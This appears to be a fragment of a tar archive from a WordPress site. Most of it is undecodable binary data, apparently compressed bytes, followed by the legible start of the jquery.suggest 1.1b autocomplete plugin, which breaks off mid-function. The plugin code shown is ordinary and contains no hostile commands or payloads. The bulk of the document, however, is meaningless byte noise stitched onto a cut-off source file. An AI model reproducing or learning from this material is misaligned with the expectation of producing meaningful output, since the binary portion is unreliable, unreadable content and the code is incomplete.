�"�4���-����Ch_�J'��D�L��`�6\[%>���u(@d����á e���S��X��Bg�V��|e�A{��D8�g��UH��m�i����t0��\"���O��n#��O��Ae[n�P]��z��>�&�z~�n3��>d!��q��8��!n��ȡ�O�dYT��0���K㶼f�s�1_[c�4ɺa����C4R���4��s���C��$����e��7����B�����~���\ꩺ1���Cy�P3b]䚊�u"�j�2g�d�XU4냼�'���g��L��J�Mg�y��B����w�r�8W�"œ뀄�}t�i:���$i�D鍸��O��	��I���@B��:~�Y��+sQu��DD\"]��a�~��-^X��=^y�'�{�zM~��яS�*uUmxI�z�
.b�Ir������ꞛA�l?o1�%�sz��9W�"Q��s�\^.�]�J_�3���\9��[�7�e>V@�0u�����FlM�{I�������3�/L�|і�6i��6�.' �t���*D�����B�X�-7QmQ�~9Z��|��O�\p��������X�:���0J�ܛw"�p����V���,��\�?ty����:x��5��:�`��z��Jq[��Y�eV�� ����q<̝�x�X�����U�=1^*O=��a�����8I�0�ڇ�Zmm���nK"���ِ��VZ�Su��$���A��8�778
^����xI:g��$o,X�t�@�?��I�&��DBԳ�RQ�YT�����@�?�4-�KK���Z������%���*0}N��3M�����)V�/�"L���k�L����/���<��K��a����T��F9��K}y��4I0��bA��u�ֽ�|e�_�<��én6�ʯ|�v�O��U]MC���h��I��κ�С�i�T�4+ZL�Vk��3de��J�q�09��KX8�\R�
�S��������Ê[��s�X�Q0Q�T*�dx*�q��h��lP'c�)<k�$As��������տ�w<d�9c-�އK�o�@t%��V�M�?y�gQi�v��]T'�]�O0��Q�_VEn�Ϫ:���ɵ�F3�>t'B�s^G�l��	��f�*���Ì#�q5��I�9�z�rZù�����c]%h���Ն��4�T�j-$tK.9��^]r�?�zPh@*�e%n�Ze�-ov&I�Un�ɴ+,Z�2/uk�$�\��E�a�q�蠥n���3hK`��톪�%�c��X6�01���On~z+�b�g�0��}�M�7�}�h�gb_v=�Yj����6�pp
�y7C;ݥ!G�����`������wˬ?ʨZ(}�(�9����Z).�*4�e�T��rh��k�2_��+���!9Ƌ�Ej�fRQWYZم�/��+�AD�6L���n��:����c3�o���ַ�G.aM!�8�&������M�#%]�J�\��G���:ƸB��=m�u�ħ�M�R}�f��ê��uJ@�72)����:��/xd�v��<�`r-
�z%��ߧ�;_�*jXm�f[��Y�\Q'A	��/
5�~�D
k�S�#�EE@��*�D%�^
�T���	�|P�>��̊��SK&���$�+ؕR�$M��]H��t�����"�N-ά`:�ՠWV$�z:�gU����=��
��0�7�>�`����y�W��+�Fm�N杧��mU�@U_�F��"�3%y�[_[�	�S���!Ľ�u�L��PIW���1�\� �}nj���p�"m���G}%�o}]�����jJsء	d<�����uȱ�ВsH�[�?[W��Lمx�է��s��C���L���5ŕ#u��b�q�!^��-����,�B'TT{jR�xH�|�hI��4�v3���-壬��]	`�K�%+q/8_�טC_���P��i�j�姬�/WHۗ gf.cP��?I����M��y�"�@�q��K����`J�w�;���U��|"�^��@�F��%,}7F�n ��(���Y�m����^���3
)��qLb7��0Q�W�<��5�C���� �*l���"ؿ���A��޾-W�:D��W�L�%iX%�����i�>::8����K^X���,^yX��^[A>R���Z�#��|_�2��w�6��P���R,�L��ߓ?U��OS�)6h
 �Q�*���A�yD�|S��,��w�f��D"�J����`l1|� .����w�s��β�%�T5��/R��LOE�JK��B
��K
\�[��Mw����2����QM�jĻ2��s��n�@m0^jΡ�i�TА��������%xB�΄F��X�x	�MF�sf��>��~�u�n`��R;m��X�5��s��J�˧.�L.�;���b��t��ހe�ƺ6`E��A~a�䚅�<x���{�.�o��H\�B솖�I��B��ݪ������/w��6�a���Q3��Z2U�P�n�`��.d��&1óE2��pm��$�"J��Y�u\�r�)�ljv?��m�מu�� �n.���{6��+�x���gj)�)�hɞ�����8�גJ݅I���X����ki/`)��r̃��]�V���X,9KL�~	`����E�@���\Q��:44�r��i��C�ro/��i��t8���Q���D4*�	d��LHixK]�f�5R�2w}�|�<���j�A>���Ɇ�'�|���F{��;S�νf6�5����P���P�|��
��"(|"�OQ�B5��m[�M�ۻnw��.�|U��:k۸K�±�� �mu�D��4s7�H���s�oN�;�Z[�%<S�'���R�4bP����ny�
��.ړ�>���ף�:�^�oE��0��[P|�[`Y�	��sA0�Q�j_���9��S��X�!(�`������Y�Cs_'�O1k�l�:Ip�*���v���,��jW�8�(�SN�T���D|߲���``䅁�.�%*�E\i��[��ѝꍹ�V��)�z��~!�ϝ�����G�[�yY�8u��/9W��R���5L(2,��������2�>�j�r�'Z�������H��PJ�כ��*�7�)���W�\W�v��.��	r?�p`UM^��t�^?���<�Ϩ�n���ro�c�����ܭ萒��l)Q"*�(F�.s�v�6�'�'��^K��?q ��O�\6��_�ĺ��vã���Ix���C��w����㓣��3�r�&j��hނ����T��-ڌ���XԵEL
��磀y���Y�=��~�w	ë������n�!:�`�I|Ww��#Q̧��IB�c���4L{#�7�'�m)����\j=���|�nx���w�����#4��~��@[X��M�[EnB��?�s��dngu
}Q�L�o�+�^T���"�A�������y�#M�/��*�)01l2d�>Ul<�Zz&/�f��~{��qE�^�;����+�.��m���qZ�?U��*_\@g���(p��;�Fr�R�ڞ-��������f9
��N6E�\���c�E��A��:G"�
�M�~��/�]Z,v:�C pZ�`]e�
T�}�lg*�e�V��Hb�`������دtϗ���Ssd�L8�3<�f}�7Vh�=�*3�s]�8��$�d�~����?3K���z���N	m?7i<R��1W4'�p�~JG��<��-#7�J��F@�In%
 �Y$�ɹa'T��
Y/���c|
���8J����v}훧y	&�ux�iۋ$�w��櫟/�=�i���y�+��Y]��G&'�g}����]5�}ᤱ�O�[y,�5I�mi&�B�;�����xHN8�Zv^��#�F��2���#��MPJ]O��X�ܔ���K��
_���i��C��9���I�v�QN����H�)MF�.���]��ؒ��� 6��-G3�B.�����F_o�o�����=fd;_�–s�Ce�g�E���	&��o���jRz4���+ɚ���
��������bD��{J&]��H������S?����TB����J�ӊ�Ό��I��U��4�?�HTw�D���J����]�Z��V��2��d�0h��̒�\��$l���|a��_�X�:�pe(�ȱ��_�m��e���_��M�v�T0iq-8�Lm��Ԋ��&��H����o?V]%�&֗IJ;�:��F�}�v�51&�;��r�b%�xZ��b��wmc�f�qVt�����殭�í�_�8������_��뼎����d�	�b�3��UxG69^��,et�1�A�d}���x���rW�Q0̚I#�r�����/���M�y���3l�&���{[�/7�}���6�%��޼�����?�m-�f����x �lXJ�$h0��1�������ʻ/q0UC�[rÍ���UWr�P#�<A]UL}m��1%��T2��ާM��S��~�т�ІQ�M
�Pͽ���h}�-���	ˆ�=<��E�O0�I&��6�x��7�t���f��1;,gJ
�'�G����YHm���E�ɐd2�3z��p�y�б�:�c)��O��:m�RHP���z�X���r)ѿ�Z�)�΄�=����q�{�Gl(�5�mm��3�ױ�rz=2��yi
�bXe�%^��S,��	��z�6C]Jz�]B���J⢛�<S�9֐o���s�SQ`�a�p��
��ɱHG\Kb?$-��O8w���Lp!�>��+Z�<�)<�4(}���k�����w����9��C�v��٦�RR� ߩ6_}��(�XT?���64���e�wPk�I�"JRq��#�%��� N��$u��lX%t�{F�X�Wm�YI���s��TV��1*t
e�!)��y;UN����y?��u%��%�!�:O�1EH���,�����F�ݨ��@�x6Dڋ�����3�pc�n
t+�I�<sW���J�-[8��6È��G���g�H����m��TX��e�cO�>��tC�g�ҕ� U6�_ͺ�i�)_C��p��Τ�t\���
eF�եkO��T[�3�iw���H�5�ă�#1����1�Zҿ��MqQ��L�R#���Z$��YI��i��p�]澝��V�DX7�"0�l���M�0O�qѦ��~���-^�|�8�6AyE9S���@�1�r����.ʦ$ׯ�Xj%���0j�+�+&���h���o�J�=�]vv���2-l�[��_���I�#i���u�n[{'�fprt��
���9:8$h	�L�,:��?�wЊ*��V��Ȇ���qh��-&�ҭJ9���5���ݠ���:����#��
��S����?��({�5{eR�d�ݤ`�' ���U|�,	5#�%0�S�c�|��֠���N|k���s�ŃB.Y�v{r�Xw�C
IS��%0FsLRg'��
��x�)f��]pu^[M�R��Z̉J��S�����OLoxXo�'�u\q���҄�z�Ӎ�E:)~S,)��H�)��t�Gy'I�)���:����Q��y��W��d�.[hPt��Q9�� v5dN�HT1<�
���S�4Yv�pp����(6�ך�[WU��ɒʡ�2�h��x$��%t�:�%���`����Ɲhc��N�R��y�j�Iߊ
�͖�v�%��h��Ԟ�����p&�T�j7+�������J�qMi�*��膅�1T$~����)�)��&:+�<�Y�%V�"�ϕw��H�)
���=�5�f���F#2�Q<t
R�0ZΝ�&tw�뫫_�:X��(6d�`_M��aLG��N�.�By%S�B��
=�k�={pFD��S��O-S(Z.�+��(-��d��\�p/�[��>G�)�a-+�������(��r�)���X_[��m�e���J:���|%���j֨ѹ��C%�/��3��q|�(�[���(V�k��c�������B��z�|K5��Y��p=RO��w��ybS�26+k����G^�k�/W��Z�nU���Gi�hg|�'���&�ۈ����}X
�����K+�m1$�M`�EIFy�2��Wʨg#	%D���6>'��S�F�"	.t��k�w
ܚ�sW��:7Jf�R�]�A��
�#_M�L�"d��T+O�J��S�hP�G�x��N�G�mr�e=)��q2�1Z6���m���3�o/�����yֈ��F?���y3����D�a�ἰ��K_0f��\���(K �\�BA�H#O�U4���&�Z��x�o(A�*F�(��6���*�XEɗ�չ���"`� �ng�A��c�J,���ZQ�!�|��4��4�@ÃG��.����/�����*���w<�`���=�C%&���b����3��ӳ����eܕ"�}�zX&�r�Fe��v4�E�R��A�Mz7\��Q#ַ��Ѡ�;�i��,#B2�=����~��s�8��V1xI�HR���c��(ϳN��y�M
5y\2/Z2�v���y��
;���"�HE��A��C�OjWs��y�m���?/$߰��
����k�!�_��~��(��J�����G�&*�RWY��3Ίce��x~�zT
_�Ū��"�>�r�(f/Xa�R�*�'}�Y�D^�\��X&WW7�:=�!<��;Q'-�ZyDǸ9}u;9{�wϭ�7tQ�`����	�E�kQ~^�����֟|
�7I��d�P�ޚ�'߲}4>U�b�+�[��YyTՂ<k>jq-o��2LV�.sy��%�0���x�!�dh��T�M��mcUxCYǥl��xX�U�	��[�Z�„}7�����dYv�8�)�����$5;t��8X���im]�0�Q6���]��[(ܿ�fJ�S�ҟL_5�E�՜�.�1"4�ij�g%}��)��n�)�C�#�Be���.&q��Ś����]É���Q�"#o�D��Z&I-�3ذ��-մ���9�MGDN�t,�8h#��{m9�?%�/�I{������խ�<���x*v�~�	⚣ꮫ�Ru�R�=�q�b�nw��|�K��5.ֽF	��rxU�un����6�����;��:�򉞧���+W��6�/��w���.�l^E����?a�+R'�0�O�2�EB��W	S��K�$�z�d�7���?/0!��>8����g���(B��kYIL�y�I%��|}��đ)��c�:Ū�L�}��O���e��34O�R��)pWʇ��[��5�ͻ[��[�	��S�/Ud��H\������CA�\X���� �b���jG����mY�KF[	�ۓZ��x�����Ԕ�ͷ�0�l��9s^�_��Ԙ��v^Y�J�x�H��I>��9��"�����k����N,��M�J!_�,��ʦo�nn�m�R�Rb얣+D��xT	�iw��}tRN�)�]��e..���0z*a))i���p�?<�}�u�s�c�g
!N�w�v��B0��
�ڇ{[���:��PDń(��;h�Mxމ�c&o���K)
�2b�&ǘX�K���KN)>u|�=�{�u�T˵D@r�3/�����0�z��pJL:�U�����y���ןa
���?�t�ᑛ�����PK��`�4��?�d�:Td��t]��=��:F�qVgH)H)��R��¾��b�ǿ��"�AYN������i�DL�ԁ9��&�yTΠE].O��rF�<�ti��Dh��?t�?��y.[�W���Y�|(2�E����1X���B�����2��qo9���MK�t�(�v��܎3�'_7���Ɨ�������F����y夊I"ȭ�N���Kmv7��г��.�p�����[��M����z�'�ҝn
y�$-C�$u�4��
$?�q�x,4�ZH��<	{�c��MƳfp���B����]r�sQ���\[s������<�q�΂�����w�>���D'L�/e�6��CJ��q4�����rJN�>sʜ������W�Q�߈�O�����}��{+�
o.����Y������d�+����=��+?�eW��=$X����.
ߢ��-ZŮd��V���?�"�R�NT%�=C7�������<g坂u���<KK�)ٲ�y%���(�A�����so
�>QO!�|Q�q�7�ORV��ٯ���9U�-�e>���?���XDA"�<�+O� ��T���:����9п
Ỵ>�|�Qd��bE��h�:6ES�U9ʉ"A%!�nj�5�����K��A��K5�i���dA�"	�L��y�ZZ�§�����4:R;��3�OɅ)ڪ��,:]y��]��1R?���cA`�+?�k��v3�tjUR����HLK�����U�Ow0��Vʏ�'4K�ַ��Z�C������;�'�~�MY������G�ǿ�	��{S��8(8���H�Y����3�(+�]we���fȬs	����)���ӽ%���^$"*T�Ţ�_:d���Y#L��,ѵb�mt��
�4r�**|!(ٲ$Og����G�;��MQ(��(uD�3�f��ݦ*�GM�#���$�4Z�F�J�8��Jק今��p�J�/�`&�����E�".]�%��w�z�QA�ku���K-Nu�a�)��!�R�݅�*[[�<��s�
�O�#i��_.R���^����<��NI����
GZ �������ˆƗr�"��'�S�=mU�0�������Sn(I� �x�.�z���4����1�����Ӂ�sZ
��{��AX����{�i]	�[}1��
]���b|��z���"o�B��r>6m�Rd�ʅV��}r�(��
d5ݣ�.F鐟yz|��|g�mq;g��^J�2;��@��r�����8���JJ���D�=�DPY�ή���4�D�:�T5F�J���0�2E��IDy�p ��)�k?ћçQż��U���L!0ZӇ%z[��듐��:X˫Ж�[>qUx+�����a��V��t��fl��"�Q���*��A���#x�wn�����Ff��y7k��$��b^D&�+������4O.��c�<]�OH>\�t��fP'45TKRe�Qr��Q_�#6˿�����DmLk).(:���[mͭM�&=-͡j��1�/�޸�xH=0�J����P1�z��c��%�]f��Ɲ�m��}i�t��R�g��Jy�*�����Cqa.���v��[�HЗc���0}�^56X.���qn�_M�Ic\��<�V���j
~*�r�$�Rا��C���&ż,t���E�NT(�V2���N�Ԅ�j�t�eJJz��c����d����X�f�B&p��^�\*9�d��bB9��m��d)�dN,�18m:�N�*��q��^|�ɕ��"û�%K���b��h�������hv����)^]�̻�����klp}����0�x�Or8�r+�r�%ֆ�� ˌ����j�H��m�*�Ş�vھ�o��]��f^I����Ԗ`Z�.K�umE�S���N
��l����l3D��D��s-�/%2��|e.�[k�:0Ԗϝ=����/>��7�{QL��N(;��wB	��d���X�(�)�v�e��6+���˲��]�Vn�1sB���%(�P�8�=��8�&��'������p/�<1�z��|��^er��@/���8ϭ�����4���HR��ݸ��j�Pܙ���������2Q*(ؐ�+3sR뱱A8�&2I�����Qv��LL��uiP@<��ɋI�O���>�{����WOs�%�$�'dwUo��K�Y'%�yX�1C#Z_瓲�>�*BB:.���{X�
����l�g�D*�f3�a��.�Ǫ�-X��~S�~��h'��ɭ ��_�n
:ϹXoJ�݉��x�p�^E#��N{�~��&Nd�J�Q���?
���� �s��������|��(9#{�ۍr=�9��ݚ
���G�}Ú�<W3,�K9E���y�Kk*�Ӯ���olC���W<��N+É���m*({�N��8��q�t@�1�M��? ��Ա��Z�</<QŜ��Z��ܓ�:0
l�,��4U��@É�6vB�G�ƨj Դ�t����'�`��h��p��%��/~���������m�A0e��\N���V�d�`��Y]a?X��
�li6�S���
|��썅]�-W|�s�$U�9�@�Ut7��T�}iS��� ����j�G2BK���5ڍ�6�O�t�0�,6��O*a?�~�a:2W����]8����'���XXw�*聙d�/0U>��F>=��=*�k��f]Fg�4O�R0�s��S.�.��g
�D�2#d�M�_Y�4�����.`���X�e7�\P��rʉ��]�'�M�_AP`J�_'��u�O���yT�O��Xe�MRPra��i���B$�]��C���J�k�vv]�,9ۢL�cW���Bf�QV��&�7O��3h��|�����lQ�h�z����
��
�_�7
�R��B~��E� �]�A=i�-���ސcz�|���v�|RqY ���6ꌽ��ݭ:0�/�Ȧ���4�� x�fk	] �%r�_�⸩D���\�������1�6�%��Ož�^j�S)y$F�"x��b�)�l�����S:U��,��D��i�-��j1r�[�^��q�}�@-�5�Aßl�v&C`�8�7o�&y'u��{�ǫ�Ti~�]Yх�	n2SG�O7`������Tq��)�H	)8i���G��%L�����/��]{؊�|�I#%."�o�%_�5!����X�g�j��D��O�l׭Qx~�{��f@��J[�+?E�1�j^P��s9����Naɏ���������NӢ� `��,}�^#�R8�Z�a�ذ���ʨ|7�e��h�x��l>m�B�x=S�])����8��SU����T�r���DY^�pv"��ۙ�	 z��ðM.���B3�oEr�t%���e��J��Rt��g���^
���d�TE�}��z��-c��;/u٩�p=�X��!g���%j��WLi.I,����x���:�d���7��e�>
��9���|Gθ�%5�5W-��EC=��,�K+�0�Z�b�l��[��xz
�E/Uܐ��s։*�����~KdUk�\��� ���Ȃ�L��E�>�t�&0D[6T�ŠBRWŬ*yo?�;%L��0Ѫ��vx�h����N�����cK��B��������}�w�j��#R䂅�/
�`͍�5e(;CiIC���h)ze�<Љ���y@��\jY�Ur,�{4A�������^��$��,�H�Y?��P`Q�n^��yJc)��1l+�����h�&h�B�!.}�1��s�p���֒�CN���V�{�Ŧn�Vp����f弟��8;�e�W��9�K�?UlA�qk�$�/v���~�࡟���'��?��;x���j�잾R�������I����x��W��y�QQ`d2�};8�L�$�(+|�*��P5��vr)��9�6I�@��}����	-��&�TJg�Tf��43���ea��%���%��z����g�C����ɀI�JM�k8f�b�Э	��\��7�9p��k��!����:(�	�d��p�N�{ڪ�Fe]S�=���XR:��5Z�ή@���u��?����j�ez�Z��N��9gg› ? tɗ��h�0�W����8y���$eP���ʶ$P�'�3g���^g�Z��m�,��OTo�|i���[��`�c�,W�I3n˧?���uĆ�i9R����sӬa�
��y���`U+���i�GԖ�q
����]� ����/��W%���S	�<���aaA�h��s_}Xܱ���+4����r�}u��օ0��z�%y8��d1ӓy��G�A^�CªX��d�E��	o�DW��0���u�u!��Gk\����Eٳp�!{*
Y��L
(������]��qͥ��ߛ�b��8�#��0�:ָ��:D̩w�z�/)�ք���]eW�y8�XT! ��֘5A�ğ�nt<cl���@O=Ï����>��aś�S�_�x3'<��~�Yq$AZk�1��ljGE���UV�������%��٦���6����x�|&\�O���.[Z��,c�*��Ґt�f��c�ӳQ��l���;��۪���=��ĝe~��庒�J��Xd�m�����y��>�%��0�,�Š��XF-��[�P[�ߋ��{��ۯ�pf��4��3h�7h$���g����^�dd�`�|,k�����~��Ꜻ^��� �&�Aq��3�c��o��f}��B�X�&+*��}�1<^���|��_`4�G��1tY�r����#}ls�T0έ���]W�H�v��\���(5 +E���Q�U��M�K�c����<I���ұf<J��I�0GL-�������8�����qƚ�+~�gY?8A�-���	H��K�#Y��.-_I�<$Yu�yȟ�1q��F��Ԡ�$��V>g,��c��M�!�j+o~y�auu��o^�[�C�0|�hQP��FEU~�2�"�L�Q���ܑ��舗tcbA�!�� ���(���E����>ѣ�c�Ex��a�L�E*&v&ET:B�Y�
�kO�;��1hv(e�1Dž���qSb�I,I(��QuU�ک�/G�8�/��Mߎ��}�R�/��x{w��>�>�}Ѧ_n�s�����}��:i7��+	�U��b^[���w5pk�1��jKV�7�݄st'��G�ë���p��!m��*��j]��ʢyX��W��֋���J��x���/��\Jdi�}6��ܘ�?�;�K��yV�J�C �)��M$b�`�*ʢ�*��[��q!���z�����hYt�����1�]Dr��'��ꇝ�z:8Th�O*�>.5}\l�(�W"P����Ǻ9�_{2]�J��6P@U閴l��#������a�>�҂"˹ՔbF)�0��z�<��]�zDV$6�Ӕ�{M�����(��ҽxN��J��7Q��'M5>ޑ�I1�p�N�n'����,��Z�����G3Ƅ�M����.S�KLj�i>Ҭ�_g��9�0/�r�M..7h��0��|�!��F�j��:
>L+�JIj
��I	�u��gbST��I�[��$���J����ܞ� .${�,ńTVG+�u����s�2����"��]��{��P��b���(��+_�z�|;m�1�U�e��{@�q
m�xa�!a\����b|j똔&ȋ�M��	�a"R��M�4F�x2#���ؤ#�y�X!�I5r���d�A�L�v��:�!�/�}�wC>֌�b+�s1� ��B�tD�D�E!�`��(I�xW��'[t���ʘ+�<;|s{�@1kC���I2~�Om_q��MI"�˓EX�q�r��,=8Л���"�VU��y-B6�.��@;�
]
�'|��nVʼ��@6��K�7)�M}�c�(�6:��A�5#�"(�I�!,;Ŏx:�C�N�>���Bp�\��Ke� 7�o��Y�~24�^w���\���<�� ۫��
ؚ�"[M�'Jm1�<E*xc��2�S�Js?^v6�U�~��t��:@�y�~����@�b���im�a�
��*��X.�?��v�ɰ4H���H�k��m���G����/N�@m��f�_��m��ӂ�`�^��R�<t��e��w�4k{�l��%N��#䣏���������06���K�_k�ǫ�$\�V�E*���7&�s��`Z��8�ρ���g9��AXf2dN��~ԉɱ�vsmq��,�-{!�Oo9ת���\��6/�CP�����3�)�w�[Ó��u@��"9kCyjA2VN=;/�vJ�=��z@����F�6��"5>
�ҝ$`b�=�6���֔"<%i*����JVT�0B���.B��]db�U.u`�-mh��$0)	'DYh�H�,��V�����_�h�S�o��e��`����(΂ƭ��,�C��F5C�`�y���pI�U����'=C�}I׸I�׆j%�5�C�\K
���O<�)oԖZ�=�q�Uݵ�e�䴣�u������G'u^�@����ǻ��[�%�we5�\��/R��^��ʜu��H+@c�=h�0yQ��셼Er�\�(m�ֿ;��!龘2Q|L�-�X�(I�R⬂O)FfM �rB����>-	�|�Aw\�[���O���_�u��B�)V����`��q{#��.}B�:���i9%��lè����N2I#(0K�A�h�1F�r(�ˬa�o��[7آ���>�=�:�3;a�tC��3	+�xK�7}C�{vF�%ٲ���N44򙪔�[IV�y�V�KB�g���[�A�
�k)���/#=��#��h�t���ɨڽ�u,��ψ��G�׍�S*�t�7D���H0m%W&F�֧�W�*aϺ��BBёYp�nR����a�|���z��鍘��b��XyR8�Źiv
7%��2��.�z��p�2�y���y�����9�o:�6�2�W����y�rz��+8M�8\6
y6%ʦ��TL��}�$����q)��sa�Q ��S�ӿ]%i*+�	����g_W7����jIV�:T�BT�{�ݭ��|+�q!�;mk]���f�R��/�T�vHN)�͌Z.��(�������iFA�Ne�D
�+i�4	Bl_㲩�@_Pƪ��r��qa��B����j�cy�Ђz�a���*��8�7�;�č�'X�Tr{���Z^��T!�;'�ŔX����ucAXT�� ��x�BTN܎�;=�&����z��o�/�m��/�w_>�XIr���
��F��o����IS0�(�`�P���Utl��=�t��і�;Z�c�F�����Ǩ>߀7{��ã݃�ݓ�o�������������Ϲ��Gm���A㹁|�9n�=tշ��; ��?-�l��"��v����Q��9"B@4��5�x����h��[���Ζ����x�ōE��Ats��"��k��b��Ssr���`(���֋�vp|�urzL��yz,�q�o���<�Z��
Ԁ��o��!��L��x����G�|���p���(ah�޾]c�V���[�Ό�u+�H�ˈ���]�=,�
���
�jM�L2ܣ�$�#�6ad����F�������90�'���b쎵#B-{G�{ɇ ����I.a�"�#Dn�m�8(�F'2�
��ߥ%���2r�(뎲!�"�:��ңl2��М�6��hbΏ(�ٟ�
��K	���[���$���K�y���8�KQ��g^$�I���d�jU���;qP�]S�K�N�;��I�y5��+�?l��쵏L3�w\�t�A��2��l�9�������}{px��j�۷/��<=v{|��v��6����������Z7��=j��T�
̓��m�n��%������h��5B�/�FN���=>q��w�>rwy;G��eh�x�^E�va)���v�_��w�����V�����{m���<4����@�O?����Vfo��D�m}ɸ�O���/���t�o_�J����,�:���H��d1�Y������^��I�Q3�(����Z^�3zL:��˅�y���t�⥥3����7�oa:ٯtՋ�U���*������h��fy��q�iA7��'�8����@���xSDDE�ͪ�PK�q�������������@�
b;�H�%���{�X%^��<�H�.���x����$!�Y��y�jrw;��
|�kr��/�^C����
���2V�y�a&pFt�u+x��q�5��5W��'b��#��C6-lꥶQ�	��SN[��B+��һe��FC֎3�u������]�$��������u�_f��Fꫯ��ɓ9ҽ1u#��o������-<�$k$z$t�E�Ӎ�'�_r2�=.{6�)���
TP�s��.���ȸ�p�/yٓ�����ِGo�L�9���88��Q���v��������x'K����
ej��Pi>�rP�w�0�ף�ņ26٤	��2���H�Ugc������I��1�΢����ev*���S��#���U��R��a�`��k��!z���)��ƾ�5��rF����I�ML�F����՚ˢ�y],Q?��0<�9u���8őt���n�ӣ�%?u����t�����f�ˠ�p�$|S�<�-����wb0놏�O��!���V��*���HQ���h���+������d�
�{��o��]+Xx�B���{�.�+��
J&�An9j�:�`�(�"��5���Tyjn�p�B�'r�g��b��I�XD]��1x�>��0T(�D>��H4����G��c᫴6&m����jOP7u�Jæ�i�m<B��T���f�֮���Ϧ��@�Q��zoyGp��(WOCq���*�����A�bP�eLYR�l�N<�,�Ǣ�K�5�����-Si�����+�dNz��*���D��~�EV��D�⒋����IV[FU1��"�j5�M8�(y�yV��W)�O$Y�0�B�?���#�wHٲG6��~�U�����^��%��Ҽ��[o��:uA��52��FE�W��hW�88���SD.�2�F~1�`���;�`�ي�i
lim1WC�eK���x�\aR.Qk5*��?�$u��K>3�)���!������Ɍ��*��h99���R���ڪ�P�{�y�Uo���x��1qk��O�\h��\֍��i:2��_��X��Lg�W�Z�j�<��>�=�C�K0ꕅٿ5�󯹩�,�VB��i��̩��8�e��p�t2V��(Y���R
���T�SpQ-��X�/�_n���?lmm�����I‚�~�w#���iA?��zo�]�j�|���>h��m��p�م�9N0�(���X���
9�Γ~2�	�4�Q��~fLN�
ؙ���0���e)V��{�y|2��CL���<����|c�5e&�8�(�N:�+F�A�]U��	��$������U�T��Z|'�P��ÉhI/VWl�H�$���=���	05��0�o�R���-��������k��z��U��_�7@�ע�%�����U�p�Τ�3�',	�
�&�h����*%�
�!u���ރ0z�?;x%������(�Q�><��W�'�r)���U�P����wF�JlV����٣j��s)C&q��V
{&�XmW�=��Si�L"��`���\Ixrg�em�WA�]u�K����H��'p�<Y�!'!��?�/r;��~6�7�nA���#�$��E��N��(඗H���XY���2Qg�٭'cL(C�NK-��ĭ��^�p\e���9` /áj�Y�
��_w�l���W��Kkx9$f��D����}$	�"i-�&��0�y--�c�yFr��Q�#�_�S����ݝ�Y������Ѓ�����Z{��I�n=����X�Z�`�{���%��J?w�:��G9E�_��m��/�NH��
J�����eu�/�w�/W�]�����%�w��N�
�䊟���f6�v���,&�Q�'픴PVx`�px�D��T1e�b[w�i}���353`:��t���!��
绯�4�'��}��vW_K�i;!�V��uhӔSH��4��ez�0��ڒ�VAP� H�Y�{8���݈�;&ò�o��U��㘤H��%��t�Ia���51��,��+�oO���˰�k���#��r���?<�:ﱆj��ݡJ���u|��*/"�V�U���%W0��Q���Ȩ֜��}T��͗�'�o�@�%[�,_���?��������t�i�Uz��v�����Ï�돟?~����珟�3?�?�M�#�14338/suggest.js.tar000064400000021000151024420100010010 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/jquery/suggest.js000064400000015517151024253500025334 0ustar00/*
 *	jquery.suggest 1.1b - 2007-08-06
 * Patched by Mark Jaquith with Alexander Dick's "multiple items" patch to allow for auto-suggesting of more than one tag before submitting
 * See: http://www.vulgarisoip.com/2007/06/29/jquerysuggest-an-alternative-jquery-based-autocomplete-library/#comment-7228
 *
 *	Uses code and techniques from following libraries:
 *	1. http://www.dyve.net/jquery/?autocomplete
 *	2. http://dev.jquery.com/browser/trunk/plugins/interface/iautocompleter.js
 *
 *	All the new stuff written by Peter Vulgaris (www.vulgarisoip.com)
 *	Feel free to do whatever you want with this file
 *
 */

(function($) {

	$.suggest = function(input, options) {
		var $input, $results, timeout, prevLength, cache, cacheSize;

		$input = $(input).attr("autocomplete", "off");
		$results = $("<ul/>");

		timeout = false;		// hold timeout ID for suggestion results to appear
		prevLength = 0;			// last recorded length of $input.val()
		cache = [];				// cache MRU list
		cacheSize = 0;			// size of cache in chars (bytes?)

		$results.addClass(options.resultsClass).appendTo('body');


		resetPosition();
		$(window)
			.on( 'load', resetPosition ) // just in case user is changing size of page while loading
			.on( 'resize', resetPosition );

		$input.blur(function() {
			setTimeout(function() { $results.hide() }, 200);
		});

		$input.keydown(processKey);

		function resetPosition() {
			// requires jquery.dimension plugin
			var offset = $input.offset();
			$results.css({
				top: (offset.top + input.offsetHeight) + 'px',
				left: offset.left + 'px'
			});
		}


		function processKey(e) {

			// handling up/down/escape requires results to be visible
			// handling enter/tab requires that AND a result to be selected
			if ((/27$|38$|40$/.test(e.keyCode) && $results.is(':visible')) ||
				(/^13$|^9$/.test(e.keyCode) && getCurrentResult())) {

				if (e.preventDefault)
					e.preventDefault();
				if (e.stopPropagation)
					e.stopPropagation();

				e.cancelBubble = true;
				e.returnValue = false;

				switch(e.keyCode) {

					case 38: // up
						prevResult();
						break;

					case 40: // down
						nextResult();
						break;

					case 9:  // tab
					case 13: // return
						selectCurrentResult();
						break;

					case 27: //	escape
						$results.hide();
						break;

				}

			} else if ($input.val().length != prevLength) {

				if (timeout)
					clearTimeout(timeout);
				timeout = setTimeout(suggest, options.delay);
				prevLength = $input.val().length;

			}


		}


		function suggest() {

			var q = $.trim($input.val()), multipleSepPos, items;

			if ( options.multiple ) {
				multipleSepPos = q.lastIndexOf(options.multipleSep);
				if ( multipleSepPos != -1 ) {
					q = $.trim(q.substr(multipleSepPos + options.multipleSep.length));
				}
			}
			if (q.length >= options.minchars) {

				cached = checkCache(q);

				if (cached) {

					displayItems(cached['items']);

				} else {

					$.get(options.source, {q: q}, function(txt) {

						$results.hide();

						items = parseTxt(txt, q);

						displayItems(items);
						addToCache(q, items, txt.length);

					});

				}

			} else {

				$results.hide();

			}

		}


		function checkCache(q) {
			var i;
			for (i = 0; i < cache.length; i++)
				if (cache[i]['q'] == q) {
					cache.unshift(cache.splice(i, 1)[0]);
					return cache[0];
				}

			return false;

		}

		function addToCache(q, items, size) {
			var cached;
			while (cache.length && (cacheSize + size > options.maxCacheSize)) {
				cached = cache.pop();
				cacheSize -= cached['size'];
			}

			cache.push({
				q: q,
				size: size,
				items: items
				});

			cacheSize += size;

		}

		function displayItems(items) {
			var html = '', i;
			if (!items)
				return;

			if (!items.length) {
				$results.hide();
				return;
			}

			resetPosition(); // when the form moves after the page has loaded

			for (i = 0; i < items.length; i++)
				html += '<li>' + items[i] + '</li>';

			$results.html(html).show();

			$results
				.children('li')
				.mouseover(function() {
					$results.children('li').removeClass(options.selectClass);
					$(this).addClass(options.selectClass);
				})
